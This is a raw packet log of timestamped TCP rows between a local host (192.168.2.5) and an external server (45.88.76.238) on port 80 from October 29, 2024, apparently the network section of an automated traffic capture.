Oct 29, 2024 18:42:12.582434893 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.582468987 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.582484007 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.582505941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.582505941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.582528114 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.582587957 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.582647085 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.582819939 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.582865953 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.582886934 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.582907915 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.582907915 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.582951069 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.583014965 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.583031893 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.583046913 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.583074093 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.583074093 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.583503008 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.583545923 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.583564043 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.583584070 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.583638906 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.583698034 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.583709955 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.583709955 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.622514963 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.622587919 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.622612953 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.622628927 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.622661114 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.622665882 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.622684956 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.622698069 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.622698069 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.622719049 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.622766972 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.622782946 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.622817039 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.622872114 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.622893095 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.622909069 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.622931004 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.622972012 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.622972012 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.622972012 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.701319933 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.701387882 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.701471090 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.701471090 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.701512098 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.701528072 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.701544046 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.701561928 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.701575041 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.701659918 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.701775074 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.701808929 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.701816082 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.701824903 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.701870918 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.702112913 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.702174902 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.702192068 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.702346087 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.702413082 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.702438116 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.702465057 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.702471972 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.702526093 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.702533960 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.702625990 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.702939034 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.702996016 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.703001022 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.703046083 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.743119001 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743125916 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743150949 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743238926 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743254900 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743262053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.743262053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.743274927 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743331909 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.743331909 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.743537903 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743554115 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743568897 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743647099 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.743647099 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.743652105 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743669987 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.743726015 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.743726015 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.821285009 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.821299076 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.821316004 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.821331978 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.821405888 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.821428061 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.821567059 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.821621895 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.821636915 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.821641922 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.821652889 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.821698904 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.821700096 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.821732044 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.821986914 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.822042942 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.822053909 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.822138071 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.822187901 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.822201967 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.822217941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.822217941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.822217941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.822321892 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.822505951 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.822551012 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.822554111 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.822571039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.822587967 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.822633028 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.822633028 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.822633028 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.862992048 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863024950 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863044977 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863075972 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863091946 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863153934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.863153934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.863153934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.863406897 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863481045 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.863481998 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863498926 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863523960 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863539934 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863559961 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.863559961 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.863559961 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.863692999 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.863945961 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.863989115 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.864037037 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.864072084 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.864084959 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.864140034 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.941374063 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.941437960 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.941453934 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.941513062 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.941536903 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.941551924 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.941638947 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.941670895 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.941669941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.941669941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.941669941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.941669941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.941703081 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.941750050 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.941750050 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.941750050 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.941976070 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.942037106 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.942050934 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.942065954 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.942101002 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.942101002 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.942101002 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.942306995 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.942464113 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.942531109 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.942534924 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.942621946 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.982677937 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.982707977 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.982722044 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.982839108 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.982841015 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.982896090 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.982912064 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.982944965 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.982944965 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.982944965 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.983012915 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.983028889 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.983046055 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.983077049 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.983077049 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.983077049 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.983107090 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.983676910 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.983742952 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.983778000 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.983778000 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.983778954 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.983823061 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.983854055 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.983870983 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.983907938 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.983947039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.983962059 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:12.983994007 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.983994961 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:12.984117985 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.061176062 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.061197042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.061211109 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.061290979 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.061332941 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.061347961 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.061352968 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.061363935 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.061386108 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.061386108 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.061405897 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.061721087 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.061732054 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.061742067 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.061837912 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.061837912 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.061858892 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.061903000 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.062144041 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.062172890 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.062187910 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.062227011 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.062227011 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.062227011 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.102401972 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.102463007 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.102478027 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.102543116 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.102612019 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.102629900 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.102636099 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.102653027 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.102663040 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.102693081 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.102732897 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.103039980 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.103100061 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.103115082 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.103118896 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.103177071 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.103177071 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.103183985 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.103292942 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.103585958 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.103625059 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.103640079 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.103661060 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.103661060 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.103674889 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.103797913 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.103812933 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.103828907 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.103878975 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.103878975 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.103878975 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.104445934 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.104492903 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.104516983 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.104887009 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.181391001 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.181432009 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.181453943 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.181497097 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.181497097 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.181497097 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.181535006 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.181550980 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.181565046 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.181612968 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.181612968 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.181612968 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.181770086 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.181832075 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.181835890 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.181854010 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.181869030 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.181881905 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.181898117 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.181915045 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.222279072 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.222333908 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.222372055 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.222372055 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.222385883 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.222434044 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.222466946 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.222496986 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.222522020 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.222532988 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.222558022 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.222573042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.222589016 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.222634077 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.222634077 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.222634077 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.223150015 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.223195076 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.223210096 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.223212957 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.223231077 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.223254919 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.223258018 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.223334074 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.223634005 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.223686934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.223704100 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.223721981 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.223754883 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.223754883 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.223767042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.223814964 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.224154949 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.224178076 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.224193096 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.224217892 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.224237919 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.224237919 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.224277020 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.224293947 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.224339962 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.224339962 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.301609993 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.301645994 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.301661015 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.301728010 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.301759005 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.301774025 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.301796913 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.301870108 CET	49704	80	192.168.2.5	45.88.76.238
